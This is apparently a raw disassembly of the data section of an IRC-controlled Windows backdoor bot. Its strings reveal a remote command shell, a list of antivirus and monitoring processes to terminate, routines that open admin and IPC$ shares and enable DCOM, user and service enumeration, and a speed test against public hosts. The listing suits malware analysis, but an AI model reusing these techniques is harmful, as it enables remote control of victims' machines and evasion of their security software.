aStopped_0 db 'Stopped',0 ; DATA XREF: .XPack0:0043BA14o aStop_0 db 'Stop',0 ; DATA XREF: .XPack0:0043BA10o align 4 aStarted db 'Started',0 ; DATA XREF: .XPack0:0043BA08o aStart_0 db 'Start',0 ; DATA XREF: .XPack0:0043BA04o align 4 aListed db 'Listed',0 ; DATA XREF: .XPack0:0043B9FCo align 4 aList_1 db 'List',0 ; DATA XREF: .XPack0:0043B9F8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .XPack0:0043B9F0o aDelete_0 db 'Delete',0 ; DATA XREF: .XPack0:0043B9ECo align 4 aAdded db 'Added',0 ; DATA XREF: .XPack0:off_43B9E4o align 4 aAdd db 'Add',0 ; DATA XREF: .XPack0:off_43B9E0o unk_43BAA8 db 2Dh ; - ; DATA XREF: sub_418D56+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_43BACC db 2Dh ; - ; DATA XREF: sub_418D56+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_43BAF8 db 2Dh ; - ; DATA XREF: sub_418D56+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418E7F+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418E7F:loc_418F97o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418E7F:loc_418F90o align 10h aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418E7F:loc_418F89o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418E7F:loc_418F82o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418E7F:loc_418F7Bo db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418E7F:loc_418F74o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418E7F:loc_418F6Do align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418E7F:loc_418F66o align 8 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418E7F:loc_418F5Fo db 'marked for deletion.',0 align 10h aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418E7F:loc_418F58o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418E7F:loc_418F2Do align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418E7F:loc_418F26o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418E7F:loc_418F1Fo db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418E7F:loc_418F18o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418E7F+8Fo align 10h aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418E7F:loc_418EEDo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418E7F:loc_418EE3o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418E7F:loc_418ED9o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418E7F:loc_418ECFo align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418E7F:loc_418EC5o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418E7F+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418FFD+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_418FFD:loc_4190CCo aStarting db ' Starting',0 ; DATA XREF: sub_418FFD:loc_4190C5o aStoping db ' Stoping',0 ; DATA XREF: sub_418FFD:loc_4190BEo aRunning db ' Running',0 ; DATA XREF: sub_418FFD:loc_4190B7o aContinuing db ' Continuing',0 ; DATA XREF: sub_418FFD:loc_4190B0o aPausing db ' Pausing',0 ; DATA XREF: sub_418FFD:loc_4190A9o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418FFD:loc_4190A2o aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418FFD+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418FFD+25o align 4 unk_43C05C db 2Dh ; - ; DATA XREF: sub_41913D+ABo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_43C080 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_41913D+89o dd 73252720h, 27h unk_43C09C db 2Dh ; - ; DATA XREF: sub_41913D+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419332+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_419332+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_419332+B5o unk_43C0E8 db 2Dh ; - ; DATA XREF: sub_419332+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_419332+26o align 4 unk_43C148 db 2Dh ; - ; DATA XREF: sub_419453+B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_43C170 db 2Dh ; - ; DATA XREF: sub_419453+94o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_43C1A0 db 2Dh ; - ; DATA XREF: sub_419453+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_43C1C0 db 2Dh ; - ; DATA XREF: sub_419599+394o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419599+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419599+33Fo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419599+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419599+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419599+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419599+299o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419599+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419599+246o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419599+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419599+1F3o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419599+1CBo align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419599+1A0o align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419599+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419599+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419599+125o aGuest_0 db 'Guest',0 ; DATA XREF: sub_419599:loc_4196B2o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_419599:loc_4196ABo align 4 aAdministrato_0 db 'Administrator',0 ; DATA XREF: sub_419599:loc_4196A4o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419599+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419599+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419599+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_419599+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419967+145o align 4 unk_43C37C db 2Dh ; - ; DATA XREF: sub_419967:loc_419A54o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_6 db ' %S',0 ; DATA XREF: sub_419967+BAo align 10h unk_43C3B0 db 2Dh ; - ; DATA XREF: sub_419967+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419967+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_419ADD:loc_419BFAo align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_419ADD:loc_419BF3o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_419ADD:loc_419BECo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_419ADD:loc_419BE5o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_419ADD:loc_419BDEo align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_419ADD:loc_419BC1o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_419ADD:loc_419BBAo align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_419ADD:loc_419BB3o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_419ADD+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_419ADD:loc_419B88o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_419ADD:loc_419B81o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_419ADD:loc_419B7Ao aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419ADD:loc_419B70o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_419ADD+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_419ADD:loc_419B4Ao align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_419ADD:loc_419B40o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_419ADD:loc_419B36o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_419ADD:loc_419B2Co align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_419ADD:loc_419B22o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_419ADD+3Bo align 10h dword_43C6C0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419C11+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43C6EC db 2Dh ; - ; DATA XREF: sub_419C11+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 8 dword_43C718 dd 7530h align 10h off_43C720 dd offset aRegedit_exe ; DATA XREF: sub_419D3A:loc_419E00r ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43C828 dd offset dword_43C81C dd offset dword_43C810 dd offset dword_43C804 dd offset dword_43C7F8 dd offset dword_43C7EC dd offset dword_43C7DC dd offset dword_43C7D0 dd offset dword_43C7C4 dd offset dword_43C7B8 dd offset dword_43C7AC dd offset dword_43C79C dd offset dword_43C790 dd offset dword_43C780 dword_43C780 dd 72313169h, 346E3435h, 6578652Eh, 0dword_43C790 dd 6E757269h, 78652E34h, 65hdword_43C79C dd 75643364h, 74616470h, 78652E65h, 65hdword_43C7AC dd 65746172h, 6578652Eh, 0dword_43C7B8 dd 74617373h, 78652E65h, 65hdword_43C7C4 dd 736E6977h, 652E7379h, 6578hdword_43C7D0 dd 756E6977h, 652E6470h, 6578hdword_43C7DC dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_43C7EC dd 61656262h, 2E656C67h, 657865hdword_43C7F8 dd 696E6550h, 2E323373h, 657865hdword_43C804 dd 6B656574h, 2E736469h, 657865hdword_43C810 dd 4C42534Dh, 2E545341h, 657865hdword_43C81C dd 7663736Dh, 2E323362h, 657865hdword_43C828 dd 69737973h, 2E6F666Eh, 657865haPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .XPack0:0043C744o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .XPack0:0043C740o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .XPack0:0043C73Co align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .XPack0:0043C738o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .XPack0:0043C734o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: .XPack0:0043C730o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .XPack0:0043C72Co aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .XPack0:0043C728o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .XPack0:0043C724o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .XPack0:off_43C720o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419D3A+181o align 4 unk_43C8D8 db 2 ; DATA XREF: sub_419F5D:loc_419FEAo db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 50h ; P db 2, 72h, 2 db 6Fh ; o db 2, 63h, 2 db 73h ; s db 2, 3, 30h db 31h ; 1 db 2Ch, 3, 31h db 35h ; 5 db 5Dh, 3, 31h aProcessListFai db ' process list failed',0 align 4 unk_43C914 db 2 ; DATA XREF: sub_419F5D+86o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 50h ; P db 2, 72h, 2 db 6Fh ; o db 2, 63h, 2 db 73h ; s db 2, 3, 30h db 31h ; 1 db 2Ch, 3, 31h db 35h ; 5 db 5Dh, 3, 31h aProcessListCom db ' process list complete',0 align 10h dword_43C950 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 2720250h ; DATA XREF: sub_419F5D+19o dd 263026Fh, 30030273h, 31032C31h, 31035D35h, 26C0220h dd 2730269h, 6E026974h, 2206702h, 6F720250h, 65026302h dd 2730273h, 3A7365h aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A0FA+33o unk_43C9A4 db 2Dh ; - ; DATA XREF: sub_41A181:loc_41A2B3o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43C9D4 db 2Dh ; - ; DATA XREF: sub_41A181+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_43C9FC db 2Dh ; - ; DATA XREF: sub_41A181:loc_41A267o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_43CA2C db 2Dh ; - ; DATA XREF: sub_41A2D6+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 10h unk_43CA60 db 2Dh ; - ; DATA XREF: sub_41A2D6+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43CA84 dd offset dword_43CABC ; DATA XREF: sub_41A4EB:loc_41A6A0r ; sub_41A4EB+1C3r ... dword_43CA88 dd 0 dd offset dword_43CAB4 dd 0 dd offset dword_43CAB0 ; --------------------------------------------------------------------------- lodsb retf 43h ; --------------------------------------------------------------------------- dd offset dword_43CAA8 ; --------------------------------------------------------------------------- movsb retf 43h ; --------------------------------------------------------------------------- dd 5C3A44h dword_43CAA8 dd 2444h, 5C3A43hdword_43CAB0 dd 2443h dword_43CAB4 dd 494D4441h, 244Ehdword_43CABC dd 24435049h, 2 dup(0)dword_43CAC8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB+2E7o ; sub_41A811+2DDo dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1Netapi32_dllC db '1 Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43CB10 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB+2D1o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1NetworkShares db '1 Network shares deleted.',0 align 10h dword_43CB50 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB:loc_41A755o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToDelet db '1 Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43CB94 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB+263o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1ShareSDeleted db '1 Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43CBD0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB:loc_41A6C5o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToDel_0 db '1 Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43CC14 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB+1D3o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1ShareSDelet_0 db '1 Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43CC50 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB:loc_41A61Do ; sub_41A811:loc_41A93Fo dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1Advapi32_dllC db '1 Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43CC98 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB:loc_41A616o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToOpenI db '1 Failed to open IPC$ Restriction registry key.',0 align 10h dword_43CCF0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB:loc_41A5FEo dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1RestrictedAcc db '1 Restricted access to the IPC$ Share.',0 align 10h dword_43CD40 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB+10Co dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToRestr db '1 Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A4EB+EDo ; sub_41A811+EDo align 4 dword_43CDA8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB+91o ; sub_41A811+91o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToOpenD db '1 Failed to open DCOM registry key.',0 dword_43CDF0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB:loc_41A55Eo dd 72751F63h, 3026502h, 32C3130h, 33A3431h, 43442031h dd 64204D4Fh, 62617369h, 2E64656Ch, 0 dword_43CE28 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A4EB+6Co dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1DisableDcomFa db '1 Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A4EB+54o ; sub_41A811+54o align 10h dword_43CE70 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811+2C5o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1NetworkShar_0 db '1 Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A811+22Fo align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A811+21Eo dword_43CEB8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811:loc_41A9BEo ; sub_41A811:loc_41AA89o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToAddSS db '1 Failed to add ',27h,'%s',27h,' share.',0 dword_43CEF8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811+1A6o ; sub_41A811+271o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1ShareSAdded_ db '1 Share ',27h,'%s',27h,' added.',0 dword_43CF30 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811:loc_41A938o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToOpe_0 db '1 Failed to open IPC$ restriction registry key.',0 align 8 dword_43CF88 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811:loc_41A920o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1UnrestrictedA db '1 Unrestricted access to the IPC$ Share.',0 align 4 dword_43CFD8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811+108o dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1FailedToUnres db '1 Failed to unrestrict access to the IPC$ Share.',0 align 10h dword_43D030 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811:loc_41A884o dd 72751F63h, 3026502h, 32C3130h, 33A3431h, 43442031h dd 65204D4Fh, 6C62616Eh, 2E6465h dword_43D064 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 1F650253h ; DATA XREF: sub_41A811+6Co dd 72751F63h, 3026502h, 32C3130h, 33A3431h a1EnableDcomFai db '1 Enable DCOM failed.',0 align 10h aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AB47+DEo db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 8 dword_43D0D8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41AD24+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41AD24+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41AD24+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41AD24+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41AD24+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AD24+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AD24+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41AD24+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41AD24+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41AD24+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41AD24+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41AD24+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41AD24+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41AD24+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41AD24+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41AD24+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41AD24+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41AD24+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41AD24+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41AD24+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41AD24+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41AD24+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41AD24+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41AD24+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41AD24+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41AD24+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41AD24+15o align 8 dword_43D2E8 dd 2C353103h, 0B7035B30h, 2343003h, 1F790253h, 69741F73h ; DATA XREF: sub_41B0A1+297o dd 46026E02h, 20B7036Fh, 55504302h, 25203A02h, 75343649h dd 2E7A484Dh, 41520220h, 203A024Dh, 424B7325h, 746F7420h dd 202C6C61h, 424B7325h, 65726620h, 2202E65h, 6B736944h dd 25203A02h, 6F742073h, 2C6C6174h, 20732520h, 65657266h dd 4F02202Eh, 203A0253h, 646E6957h, 2073776Fh, 28207325h dd 252E6425h, 42202C64h, 646C6975h, 29642520h, 5302202Eh dd 69647379h, 203A0272h, 202E7325h, 736F4802h, 6D616E74h dd 203A0265h, 28207325h, 2E297325h, 75430220h, 6E657272h dd 73552074h, 3A027265h, 2E732520h, 61440220h, 3A026574h dd 2E732520h, 69540220h, 3A02656Dh, 2E732520h, 70550220h dd 656D6974h, 25203A02h, 2E73h dword_43D3D0 dd 4D3A6464h, 793A4D4Dh, 797979haCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B0A1:loc_41B205o align 8 dword_43D3F8 dd 2C353103h, 0B7035B30h, 2343003h, 651F024Eh, 269741Fh ; DATA XREF: sub_41B355+ABo dd 6F46026Eh, 220B703h, 65707954h, 25203A02h, 25282073h dd 202E2973h, 20504902h, 72646441h, 2737365h, 7325203Ah dd 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah, 2Eh off_43D448 dd offset loc_412F4B+3 ; DATA XREF: sub_41B355:loc_41B3C9o off_43D44C dd offset dword_4E414C ; DATA XREF: sub_41B355:loc_41B3C2o dword_43D450 dd 6C616944h, 70752Dhdword_43D458 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_43D468 db 2 ; DATA XREF: .XPack0:loc_41B5D8o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 2, 56h, 2 db 69h ; i db 73h, 69h, 2 db 74h ; t db 2, 3, 30h db 34h ; 4 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 34h aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43D4AC db 2 ; DATA XREF: .XPack0:loc_41B5D1o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 2, 56h, 2 db 69h ; i db 73h, 69h, 2 db 74h ; t db 2, 3, 30h db 34h ; 4 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 34h aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43D4EC dd 35310302h, 25B302Ch, 91343003h, 2560203h, 2697369h ; DATA XREF: .XPack0:0041B5C1o dd 30030274h, 31032C34h, 34033A34h, 2490220h, 611F766Eh dd 64696C1Fh, 2550220h, 4C1F521Fh, 2Eh, 0 unk_43D528 db 2 ; DATA XREF: .XPack0:loc_41B5B4o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 2, 56h, 2 db 69h ; i db 73h, 69h, 2 db 74h ; t db 2, 3, 30h db 34h ; 4 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 34h aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43D578 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: .XPack0:0041B5ADo dd 64657469h, 2Eh dword_43D594 dd 2A2F2Ah, 2 dup(0)dword_43D5A0 dd 0E7C2250h align 10h dword_43D5B0 dd 173Fh dd 9875h, 9873h off_43D5BC dd offset sub_41CDB4 ; DATA XREF: sub_41BDF4r ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0CDh, 41h, 0 ; --------------------------------------------------------------------------- retf ; 